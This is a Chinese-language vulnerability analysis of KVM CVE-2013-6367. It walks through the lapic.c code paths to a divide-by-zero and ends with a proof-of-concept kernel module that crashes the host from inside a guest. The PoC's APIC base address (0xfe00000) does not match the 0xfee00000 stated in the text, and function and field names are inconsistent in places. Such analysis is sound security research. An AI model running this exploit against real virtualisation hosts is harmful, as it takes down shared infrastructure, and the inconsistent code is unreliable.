

# KVM 漏洞分析

## CVE-2013-6367 实战

CVE-2013-6367 是 arch/x86/kvm/lapic.c 文件中的一处漏洞，lapic.c 应该是模拟了一个 timer，在模式切换的过程中可以把一个变量置 0，然后会把它作为除数导致了一个算术错误（除零错误），由于 KVM 是一个内核模块所以漏洞是在内核态被触发，因此只要在 guest 虚拟机中执行 poc 代码，触发这个漏洞会导致 host 拒绝服务（host 崩溃）。下面是 redhat 给出的漏洞说明：

The apic\_get\_tmct function in arch/x86/kvm/lapic.c in the KVM subsystem in the Linux kernel through 3.12.5 allows guest OS users to cause a denial of service (divide-by-zero error and host OS crash) via crafted modifications of the TMICT value.<sup>1</sup>

根据上面的说明可以看出漏洞在 apic\_get\_tmct 函数里，受影响的 linux 内核版本不高于 3.12.5。

漏洞的基本信息已经了解了，请准备一份 linux-2.6.32.tar.gz 源码，接下来看看存在漏洞的函数代码：

```
static u32 apic_get_tmct(struct kvm_lapic *apic)
{
    ktime_t remaining;
    s64 ns;
    u32 tmct;
    ASSERT(apic != NULL);

    /* if initial count is 0, current count should also be 0 */
    if (kvm_apic_get_reg(apic, APIC_TMICT) == 0)
        return 0;

    remaining = hrtimer_get_remaining(&apic->lapic_timer.timer);
    if (ktime_to_ns(remaining) < 0)
        remaining = ktime_set(0, 0);

    ns = mod_64(ktime_to_ns(remaining), apic->lapic_timer.period);
    tmct = div64_u64(ns,
        (APIC_BUS_CYCLE_NS * apic->divide_count));

    return tmct;
}
```

函数中有两个地方使用了除法：

```
ns = mod_64(ktime_to_ns(remaining), apic->lapic_timer.period);
tmct = div64_u64(ns,
    (APIC_BUS_CYCLE_NS * apic->divide_count));
```

根据漏洞描述是无法得知漏洞是在 `mod_64` 还是 `div64_u64` 触发的，不过不要紧我们看看上面的两个除数都在哪些地方被赋值。用 `notepad++` 打开 `lapic.c` 文件，在当前文件中查找关键字“`apic->lapic_timer.period`”，结果如下：

```
Find result - 9 hits
Search "apic->lapic_timer.period" (9 hits in 1 file)
C:\Users\xiaowei-c\Desktop\lapic.c (9 hits)
Line 865: ns = mod_64(ktime_to_ns(remaining), apic->lapic_timer.period);
Line 1012: apic->lapic_timer.period = (u64)kvm_apic_get_reg(apic, APIC_TMICT)
Line 1015: if (!apic->lapic_timer.period)
Line 1025: if (apic->lapic_timer.period < min_period) {
Line 1030: apic->lapic_timer.period, min_period);
Line 1031: apic->lapic_timer.period = min_period;
Line 1036: ktime_add_ns(now, apic->lapic_timer.period),
Line 1045: apic->lapic_timer.period,
Line 1047: apic->lapic_timer.period))));
```

查找的结果有 9 个，有两处对 `apic->lapic_timer.period` 变量进行赋值：

```
Line 1012: apic->lapic_timer.period = (u64)kvm_apic_get_reg(apic,
APIC_TMICT)
Line 1031: apic->lapic_timer.period = min_period;
```

上面的两处赋值都是有可能让变量 `apic->lapic_timer.period` 等于 0 的。接下来在当前文件中查找关键字“`apic->divide_count`”，结果如下：

```
Find result - 4 hits
Search "apic->divide_count" (4 hits in 1 file)
C:\Users\xiaowei-c\Desktop\lapic.c (4 hits)
Line 867: (APIC_BUS_CYCLE_NS * apic->divide_count));
Line 998: apic->divide_count = 0x1 << (tmp2 & 0x7);
Line 1001: apic->divide_count);
Line 1013: * APIC_BUS_CYCLE_NS * apic->divide_count;
```

查找的结果有 4 个，只有一处是对变量 `apic->divide_count` 进行赋值的：

Line 998: `apic->divide_count = 0x1 << (tmp2 & 0x7);`

显然无论 `tmp2` 的值是多少，`0x1 << (tmp2 & 0x7)` 的结果都不会是 0，所以 `apic->divide_count` 的值不会是 0，在不考虑其他模块对 `apic->divide_count` 赋值的情况，基本可以确定漏洞是缺少对 `apic->lapic_timer.period` 的检测而导致的。下面我们想想怎么完成漏洞的 poc。在当前文件查找关键字“`apic_get_tmcct`”：

```
Find result - 2 hits
Search "apic_get_tmcct" (2 hits in 1 file)
C:\Users\xiaowei-c\Desktop\lapic.c (2 hits)
Line 849: static u32 apic_get_tmcct(struct kvm_lapic *apic)
Line 910: val = apic_get_tmcct(apic);
```

查找的结果有 2 个，一个是 apic\_get\_tmcct 函数的定义，另一个是对 apic\_get\_tmcct 函数的调用，调用处的部分代码如下：

```
static u32 __apic_read(struct kvm_lapic *apic, unsigned int offset)
{
    u32 val = 0;

    if (offset >= LAPIC_MMIO_LENGTH)
        return 0;

    switch (offset) { //根据 offset 选择不同的处理逻辑，当 offset 等于 APIC_TMCCT 时会调
        //用存在漏洞的函数
    case APIC_ID:
        if (apic_x2apic_mode(apic))
            val = kvm_apic_id(apic);
        else
            val = kvm_apic_id(apic) << 24;
        break;
    case APIC_ARBPRI:
        apic_debug("Access APIC ARBPRI register which is for P6\n");
        break;

    case APIC_TMCCT: /* Timer CCR */
        if (apic_lvtt_tscdeadline(apic)) //必须让这里返回 0，否则不会调用存在漏洞的函数
            return 0;

        val = apic_get_tmcct(apic); //在这里调用存在漏洞的函数
        break;
    ...
}
```

继续在当前文件中查找关键字 “\_\_apic\_read”：

```
Find result - 2 hits
Search "__apic_read" (2 hits in 1 file)
C:\Users\xiaowei-c\Desktop\lapic.c (2 hits)
Line 888: static u32 __apic_read(struct kvm_lapic *apic, unsigned int offset)
Line 952: result = __apic_read(apic, offset & ~0xf);
```

同样有两个查找结果，一个是\_\_apic\_read 函数的定义，另一个是对\_\_apic\_read 函数的调用，调用处的部分代码如下：

```
static int apic_reg_read(struct kvm_lapic *apic, u32 offset, int len,
                        void *data)
{
    unsigned char alignment = offset & 0xf;
    u32 result;
    /* this bitmask has a bit cleared for each reserved register */
    static const u64 rmask = 0x43ff01ffffffe70cULL;

    if ((alignment + len) > 4) {
        apic_debug("KVM_APIC_READ: alignment error %x %d\n",
                  offset, len);
        return 1;
    }

    if (offset > 0x3f0 || !(rmask & (1ULL << (offset >> 4)))) {
        apic_debug("KVM_APIC_READ: read reserved register %x\n",
                  offset);
        return 1;
    }
    ...
    result = __apic_read(apic, offset & ~0xf); //在这里调用__apic_read 函数
```

apic\_reg\_read 函数的功能应该是从寄存器读取数据到虚拟机，lapic.c 应该是模拟了一个 timer，也就是模拟了一个硬件，硬件一般都有很多资源如寄存器、内存等。所以在虚拟机里读取 timer 的寄存器应该可以触发 apic\_reg\_read 函数的调用。这样我们大致解决了第一个问题：如何到达漏洞的触发点；第二个问题是如何把 apic->lapic\_timer.period 变量置零。

再来看看对 apic->lapic\_timer.period 赋值的两处代码：

```
Line 1012:      apic->lapic_timer.period = (u64)kvm_apic_get_reg(apic, APIC_TMICT)
Line 1031:      apic->lapic_timer.period = min_period;
```

Line 1031 附近的代码如下：

```
if (apic_lvtt_period(apic)) {
    s64 min_period = min_timer_period_us * 1000LL;

    if (apic->lapic_timer.period < min_period) {
        pr_info_ratelimited(
```

```

        "kvm: vcpu %i: requested %lld ns "
        "lapic timer period limited to %lld ns\n",
        apic->vcpu->vcpu_id,
        apic->lapic_timer.period, min_period);
        apic->lapic_timer.period = min_period;
    }
}

```

因为 min\_timer\_period\_us 始终等于 500，所以 min\_period 在此处不会是 0，这个地方对 poc 没有帮助。那么只剩下 Line 1012 这行代码需要考虑了。Line 1012 附近的代码是这样的：

```

static void start_apic_timer(struct kvm_lapic *apic)
{
    ktime_t now;
    atomic_set(&apic->lapic_timer.pending, 0);

    if (apic_lvtt_period(apic) || apic_lvtt_oneshot(apic)) {
        /* lapic timer in oneshot or periodic mode */
        now = apic->lapic_timer.timer.base->get_time();
        apic->lapic_timer.period = (u64)kvm_apic_get_reg(apic, APIC_TMICT)
            * APIC_BUS_CYCLE_NS * apic->divide_count;
    }
}

```

只要当前的 mode 是 period 或 oneshot（请查看 apic\_lvtt\_period 和 apic\_lvtt\_oneshot 的代码），上面的 if 条件就能够满足，接着会给 apic->lapic\_timer.period 赋值，函数 kvm\_apic\_get\_reg 应该是用来获取寄存器的值，如果能够把 APIC\_TMICT 寄存器设置成 0，那么第二个问题也就解决了。在当前文件查找关键字“APIC\_TMICT”：

Find result - 6 hits

Search "APIC\_TMICT" (6 hits in 1 file)

C:\Users\xiaowei-c\Desktop\lapic.c (6 hits)

Line 858: if (kvm\_apic\_get\_reg(apic, APIC\_TMICT) == 0)

Line 1012: apic->lapic\_timer.period = (u64)kvm\_apic\_get\_reg(apic, APIC\_TMICT)

Line 1044: kvm\_apic\_get\_reg(apic, APIC\_TMICT),

Line 1185: case APIC\_TMICT:

Line 1190: apic\_set\_reg(apic, APIC\_TMICT, val);

Line 1425: apic\_set\_reg(apic, APIC\_TMICT, 0);

Line 1190 会给 APIC\_TMICT 寄存器设置一个值，同时 Line 1190 在函数 apic\_reg\_write 内：

```

static int apic_reg_write(struct kvm_lapic *apic, u32 reg, u32 val)
{
    int ret = 0;
    trace_kvm_apic_write(reg, val);
    switch (reg) {
        ...
    }
}

```

```

case APIC_TMICT:
    if (apic_lvtt_tscdeadline(apic))
        break;
    hrtimer_cancel(&apic->lpic_timer.timer);
    apic_set_reg(apic, APIC_TMICT, val);
    start_apic_timer(apic);
    break;
...

```

函数 `apic_reg_write` 应该是用来为寄存器赋值，应该可以从虚拟机里触发对它的调用。上面的代码可以将 `APIC_TMICT` 寄存器置零，然后立即调用 `start_apic_timer` 函数，将变量 `apic->lpic_timer.period` 置 0，此时如果立即调用 `apic_get_tmcct` 函数会发现漏洞不能触发，因为在 `apic_get_tmcct` 有下面的检测，且检测代码在漏洞触发点的前面：

```

if (kvm_apic_get_reg(apic, APIC_TMICT) == 0)
    return 0;

```

因此在将 `apic->lpic_timer.period` 置 0 之后还得把 `APIC_TMICT` 寄存器设置成一个非零的值。最后的漏洞触发过程应该是这样的：

1. 把 `mode` 设置成 `periodic`（或 `oneshot`）模式
2. 把 `APIC_TMICT` 寄存器设置成 0，同时也会把 `apic->lpic_timer.period` 变量设置成 0
3. 把 `mode` 设置成非 `periodic` 非 `oneshot` 模式
4. 把 `APIC_TMICT` 寄存器设置成非零，由于 `mode` 已经改变，这一步不影响变量 `apic->lpic_timer.period` 的值（仍然是 0）
5. 调用 `apic_get_tmcct` 函数来触发漏洞

打开 `arch/x86/include/asm/apicdef.h` 可以找到寄存器的定义，要用到的几个寄存器的定义如下：

```

#define APIC_TMICT 0x380
#define APIC_TMCCT 0x390
#define APIC_TMR 0x320

```

因为 `linux-2.6.32` 版本比较老，编译源码安装可能会遇到各种问题，所以为了方便我使用了 `linux-3.17.2` 内核，手动修改 `lapic.c` 文件去掉补丁代码，补丁代码如下：

补丁如下<sup>2</sup>：

```

arch/x86/kvm/lapic.c | 3 ++-
18  1 file changed, 2 insertions(+), 1 deletion(-)
19
20  diff --git a/arch/x86/kvm/lapic.c b/arch/x86/kvm/lapic.c
21  index 5439117..89b52ec 100644
22  --- a/arch/x86/kvm/lapic.c

```

```

23  +++ b/arch/x86/kvm/lapic.c
24  @@ -841,7 +841,8 @@ static u32 apic_get_tmcct(struct kvm_lapic *apic)
25      ASSERT(apic != NULL);
26
27      /* if initial count is 0, current count should also be 0 */
28  -    if (kvm_apic_get_reg(apic, APIC_TMICT) == 0)
29  +    if (kvm_apic_get_reg(apic, APIC_TMICT) == 0 ||
30  +        apic->lapic_timer.period == 0)
31      return 0;
32
33      remaining = hrtimer_get_remaining(&apic->lapic_timer.timer);

```

编译完内核之后(记得要添加 kvm 支持),在 qemu 的启动参数中加上 `-cpu qemu64,+tsc-deadline -enable-kvm` 来启动虚拟机,然后在虚拟机中打开 terminal 输入 `cat /proc/iomem`,显示如下:

```

root@localhost:~
File Edit View Search Terminal Help
000c0000-000c91ff : Video ROM
000c9800-000ca1ff : Adapter ROM
000ca800-000ccbff : Adapter ROM
000f0000-000fffff : reserved
  000f0000-000fffff : System ROM
00100000-7ffdf000 : System RAM
  01000000-01533564 : Kernel code
  01533565-01c0cc4f : Kernel data
  01d58000-0201faa3 : Kernel bss
  03000000-0affffff : Crash kernel
7ffe0000-7fffffff : reserved
80000000-febfffff : PCI Bus 0000:00
  fd000000-fdffffff : 0000:00:02.0
  feb80000-febbffff : 0000:00:03.0
  febc0000-febdffff : 0000:00:03.0
    febc0000-febdffff : e1000
  febe0000-febeffff : 0000:00:02.0
  febf0000-febf0fff : 0000:00:02.0
fec00000-fec003ff : IOAPIC 0
fed00000-fed003ff : HPET 0
fee00000-fee00fff : Local APIC
feffc000-feffffff : reserved
ffffc000-ffffffff : reserved
[root@localhost ~]#

```

上图可以看到有这一行:

fee00000-fee00fff : Local APIC

表示 kvm 模拟的 timer 的 iomem 从物理地址 fee00000 开始,大小是 0x1000,所以 APIC\_TMICT 寄存器对应从 0xfee00000+0x380 开始的 4 个字节,其他寄存器类似。至此我们能够按照上面的步骤来编写 poc 了。Poc 的代码如下:

```

#include <linux/kernel.h>
#include <asm/io.h>

```

```

#define APIC_TMICT 0x380
#define APIC_TMCCT 0x390
#define APIC_ADDR 0xfe00000
#define APIC_TMR 0x320
MODULE_LICENSE("GPL");
static int hello_init(void)
{
    void* virt;
    unsigned long tmp;
    virt=ioremap(APIC_ADDR,0x1000);//映射 iomem 的物理地址
    writel(1<<17,virt+APIC_TMR);//设置 mode 设置成 periodic 模式，对应步骤一
    writel(0x0,virt+APIC_TMICT);//将 APIC_TMICT 寄存器置零，对应步骤二
    writel(3<<17,virt+APIC_TMR);//将 mode 设置成非 periodic 非 oneshot 模式，对应步骤
                                //三
    writel(0xffffffff,virt+APIC_TMICT);//将 APIC_TMICT 寄存器设置成非零，对应步骤四
    tmp=readl(virt+APIC_TMCCT);//调用 apic_get_tmcct 函数，触发漏洞
    return 0;
}

```

编译上述代码，然后加载生成的驱动，会发现虚拟机和 host 都卡住动不了，表示漏洞已经触发了。感兴趣的读者可以用双机调试的方法进一步分析。

选择 linux-3.17.2 版本内核的一个重要原因是这个版本的 KVM 也存在一个拒绝服务漏洞，KVM 在解析虚拟机指令流的时候可能触发一个空指针解引用，可导致 host 崩溃。漏洞的详细信息请参考下面的链接：

[https://bugzilla.redhat.com/show\\_bug.cgi?id=CVE-2014-8481](https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-8481)

感兴趣的读者可以自己尝试分析漏洞的原因，自己动手完成 poc 来触发漏洞！

---

<sup>1</sup> <https://access.redhat.com/security/cve/cve-2013-6367>

<sup>2</sup> <http://svnweb.mageia.org/packages/cauldron/kernel/current/PATCHES/patches/arch-x86-kvm-CVE-2013-6367.patch?view=markup&pathrev=559209>